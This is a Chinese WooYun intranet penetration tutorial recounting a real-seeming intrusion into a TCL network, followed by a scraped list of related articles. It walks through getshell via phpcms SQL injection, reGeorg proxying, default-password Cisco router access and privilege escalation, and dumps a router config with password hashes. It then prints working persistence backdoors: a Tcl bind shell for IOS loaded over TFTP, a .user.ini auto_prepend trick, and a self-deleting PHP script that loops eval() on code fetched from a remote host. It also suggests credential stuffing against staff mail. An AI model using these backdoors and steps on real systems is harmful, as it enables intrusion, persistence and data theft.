wooyun内网渗透教学分享之内网信息探测和后渗透准备
常规的,从web业务撕开口子
url:bit.tcl.com
getshell很简单,phpcms的,一个Phpcms V9 uc api SQL的老洞直接getshell,拿到shell,权限很高,system
看看网卡信息

只有一块网卡,处于10.4.22的私网地址
在这里,如果我们想要通过这台机器对内网进行渗透,首要工作就是进行内网探测,介绍几个方法
0x00如果你只是需要对内网的业务主机进行渗透,那么可以优先查看一下hosts,针对hosts中的主机针对性渗透
0x01如果想要对整个C段主机进行渗透,比较完整方便的方法还是扫描,这里就需要我们进行内网代理,然后扫描
正向代理or反向代理,因为此处主机无法通外网,所以我们选择正向代理
一个我常用的代理reGeorg
https://github.com/sensepost/reGeorg
上传代理脚本,然后用regerog尽心代理链接(regeorg需要urllib3,所以各位需要用到时,先安装这个模块)

用nmap等进行代理扫描,很简单可以使用proxychains或者win 下使用proxycap
因为我们这里指定的端口时2333,所以修改一下proxychains的conf

以此来尽心内网C段的信息探测
0x02当然,仅仅通过扫描,并不能获取到最全面的信息,最全面的信息,要么就是我们拿到了内网拓扑,或者,我直接日下了路由器
路由器,走你~
通过之前的nmap扫描,我们大概知道了开放web服务的主机

访问11,12,13三台主机后,发现时cisco的路由器,且是开放web管理的cisco路由器,默认密码cisco成功进入

开放web管理的思科路由是可以在web端执行命令的,但是我们的路由权限只是1,cisco的权限分级大概是这样:
管理员是7 ,但是有15个权限分级,15的权限基本属于为所欲为权限
在这里,因为看到当前路由ios版本号是

低版本的iOS可以利用我之前的一个老洞进行cisco路由提权
因为在web端,可以用privilege15进行命令操作

这样我们就拥有了一个privilege15的用户,赶紧telnet进路由看看配置,一定会有惊喜

看到我们确实拿到了privilege15的用户
那么,来瞅瞅路由配置吧
code 区域
DZSW-3560-A#en
en
DZSW-3560-A#show running-config
show running-config
Building configuration...
Current configuration : 3678 bytes
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname DZSW-3560-A
!
enable password 7 121A0C041104
!
username admin privilege 15 password 7 1543595F507F7D
no aaa new-model
system mtu routing 1500
vtp mode transparent
ip subnet-zero
ip routing
!
!
!
!
--More--
!
!
no file verify auto
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
vlan 218
name Call_Center
!
vlan 220
!
vlan 222
name WEB
!
vlan 223
name DB
!
!
interface Port-channel1
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Port-channel2
description Connect_To_YDBFZX-C3750_Po1
no switchport
ip address 10.68.3.2 255.255.255.252
!
interface GigabitEthernet0/1
switchport access vlan 218
switchport mode access
!
interface GigabitEthernet0/2
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/3
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/4
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/5
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/6
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/7
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/8
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/9
switchport access vlan 222
switchport mode access
!
interface GigabitEthernet0/10
switchport access vlan 222
switchport mode access
!
几个业务,DB,办公的vlan跃然于眼前,当前我们实在web vlan的
其他两台路由也一样到玩法
===================分割线==================
那么有的同学就问了,如果我不满足于在web vlan闹腾,如果我作为一个黑阔,我要去办公vlan去耍怎么办,哟西~既然我们都已经控制了路由啦,当然可以去闹!
因为我不是运维狗,所以咨询了z8大屌,他告诉我,少年,你听过GRE隧道么,诶嘿~
code 区域
GRE 是一种最传统的隧道协议,其根本功能就是要实现隧道功能,通过隧道连接的两个远程网络就如同直连,GRE在两个远程网络之间模拟出直连链路,从而使网络间
达到直连的效果
http://itchenyi.blog.51cto.com/4745638/1137143
http://www.codesky.net/article/201207/171461.html
大家可以参考这两个地方
通过GRE隧道配置,我们就可以跑到另外一个vlan去闹了~
(做人留一线,日后好相见,就不截图call_center的vlan了,渗透其网段的思路也和之前介绍的一样)
=========分割线==============
那么又有同学举手了,如果我渗透的目标无法短时间内就完成,需要进行后渗透,我怎么样才能让我之后的渗透也方便呢?
好的,同学你很猥琐,这里介绍几个平时我们工作中常用的留后门多法子
首先,这个cisco的路由后门,我们肯定要优先留一个
cisco路由器支持TCL cisco脚本,所以我们的后门也通过这个来完成
code 区域
# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "---|---|---|---|---|---|---|---|---|---|---|---|-"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh
这是老外写的一个后门,先在路由中开启tclsh模式,然后引入后门脚本
Router#tclsh
Router(tcl)#source tftp://x.x.x.x/backdoor.tcl
这样我们就留下来后门,下次链接可以直接在网段内的机器直接
nc 路由ip 1234(端口在后门脚本中修改)
ok,如果web的入口断了,这一切都白搭,所以我们还应该对web的机器留下比较隐藏的后门
说两个,一个是文件形的后门
这个办法之前phinthon老师已经说过了,就是通过php.ini或者user.ini留后门
在一个有正常php文件的目录下新建一个.user.ini
内容为
auto_prepend_file=xxx.gif(png/jpg)之类
而你的xxx.gif之类就是你的后门
具体可以参考http://drops.wooyun.org/tips/3424
第二个办法,非文件形的后门,这样的后门优势在于非常隐蔽,一般的网管都发现不了,但是有一个非常大的缺点,重启,或者进程中断后门就消失了
原理大概是:后门的代码第一行删除自身,然后驻留在后台内存里,等待外部链接
code 区域
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
在xxx.txt中写入你的后门代码,访问后就会删除自己并循环执行txt的代码,这是之前某人写过的了
ztz最近有写了一个更赞的无文件后门,你们快去找他要
除了这样的,如果主机是linux,也可以用前段时间猪猪侠说的crontab做后门
漏洞证明:
我们来大概总结一下这次渗透,首先通过外部业务撕开入口,通过代理的方式对内网进行探测,发现了cisco路由,于是利用之前的漏洞进行提权,搞定了路由器,整个vlan划分展露无遗,开启god mode
因为我们这里是概念性的测试,所以尺度不能太大,但是,如果我是一个黑客,我接下来会做的事儿:
利用tunna转发3389出外网链接(但是在这个场景中,出外网限制了部分端口,但是可以查询dns,我们应该利用端口复用的方式),远程桌面后扩大战果(嗅探其他机器)
读数据库我们看到了很多tcl的员工用户数据,可以直接对tcl的企业邮箱直接撞裤攻击

因为路由器搞定了,跨vlan到另外的段,继续进行渗透
概念性证明图:



wooyun内网渗透教学分享之内网信息探测和后渗透准备的更多相关文章
- 渗透攻防工具篇-后渗透阶段的Meterpreter
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...
- Meterpreter后渗透之信息收集
在获得目标的Meterpreter shell后 进行信息收集是后渗透工作的基础 记录一下关于meterpreter 信息收集的使用 环境: kali linux 192.168.190.141 xp ...
- 200G网盘资源分享
今日偶得大量网盘资源,遂写一博文以分享! 来源:HACK学习呀,微信公众号:HACK学习呀 文件名 链接 提取密码 2015cracer入侵入门到精通视频教程 点我查看 trf3 一笔√带过入侵教程 ...
- ssh远程端口转发&&windows系统提权之信息收集&&网安工具分享(部分)
一.ssh远程端口转发 背景:当我们在渗透过程中,获取到内网的一台仅有内网IP的服务器后,我们可以通过ssh隧道,将内网某个主机的端口进行远程转发 1.网络拓扑图 假设获取的服务器为web服务器,we ...
- 【转】CentOS5.6下配置rsync内网同步数据到外网
[转]CentOS5.6下配置rsync内网同步数据到外网 本文转自:http://www.linuxidc.com/Linux/2012-06/64070.htm 一.需求 卫士那边有一个需求,就是 ...
- (转)内网网站发布到外网-nat123动态公网IP动态域名解析
环境描述: 路由器分配的是动态公网IP,且有路由器登录管理权限,网站服务器部署在路由器内部网络.如何将内网网站发布到外网大众访问? 解决方案: 内网使用nat123动态域名解析,将域名实时固定解析到路 ...
- 利用jsoup爬取百度网盘资源分享连接(多线程)
突然有一天就想说能不能用某种方法把百度网盘上分享的资源连接抓取下来,于是就动手了.知乎上有人说过最好的方法就是http://pan.baidu.com/wap抓取,一看果然链接后面的uk值是一串数字, ...
- Android 获取本地外网IP、内网IP、计算机名等信息
一.获取本地外网IP public static String GetNetIp() { URL infoUrl = null; InputStream inStream = null; try { ...
- 3 微信开发本地代理环境的搭建--实现将内网ip映射到外网
微信公众号的开发,要搭建网站,并且随时都有可能修改网站内容进行调试,这就需要临时外网能返回本地开发环境搭建的项目进行测试,即内网映射到公网,但是好多开发者没有自己的域名和服务器,这里我们先来搭建一个本 ...
随机推荐
- 开源代码ViewPageIndicator的使用
1. 导入Android studio 使用SlidingMenu的方式导入Android studio不行,不知道为何,过会懂了再写上 2. 代码 activity_main.xml <?xm ...
- 举一反三 willDisplayCell在UICollectionView中的一些应用
一.UICollectionViewCell动画 上一篇博客写仿58同城实现UITableViewCell动画,同样UiCollectionView中也能用,上一个是从右到左的动画还比较好弄, 但如果 ...
- IOS bug之Code Sign error:Provisioning profile
刚才解决一个版本冲突的bug,记在了博客里,这让我想起了另外一个bug,当时犹豫公司的开发者账号过期了,我打开应用运行时提示Code Sign error:Provisioning profile ...
- DataGridView 绑定数据方法
DataGridView控件用于显示来自多种外部数据源中的数据,用户可以在此控件添加行和列,并可以填充数据. 如要让DataGridView显示数据库中的数据,只需要将此控件绑定到挑用数据库的数据 ...
- C# 字符串处理—— 去除首位保留其他
//去除首位 public static string RemoveFirstPlace(string s) { ) //输入空值直接Return { ")) //判断开头是否是零 s = ...
- Spring Boot学习笔记(三)实现热部署
pom文件中添加如下依赖即可 <dependency> <groupId>org.springframework.boot</groupId> <artifa ...
- 设计模式之状态模式IFORNOIF(二十二)
今天大风大雨, 但心情还行, 继续撸DOTA 状态模式(state pattern)定义 当一个对象的内在状态改变时允许改变其行为, 这个对象看起来像是改变了其类 这在我们开发的业务中太常见了, 角色 ...
- 关于echarts绘制树图形的注意事项(文字倾斜、数据更新、缓存重绘问题等)
最近项目中使用到echarts的树操作,对其中几点注意事项进行下总结. 效果图: 1.基础配置 options的配置如下: { tooltip: { trigger: 'item', triggerO ...
- git基础命令。
创建一个新的本地仓库 git init 克隆远程服务器 git clone URL 打开一个文件夹 cd 添加文件 git add . 本地提交更改 git commit -m ...
- webstorm 打开后 一直停留在scanning files to index....,或跳出内存不够的提示框
用着有时会这样,超级卡, 网上搜了下,原来如此,记录下,免得忘了. ------------------------- 说明: 在npm install 后,会出现Scanning files to ...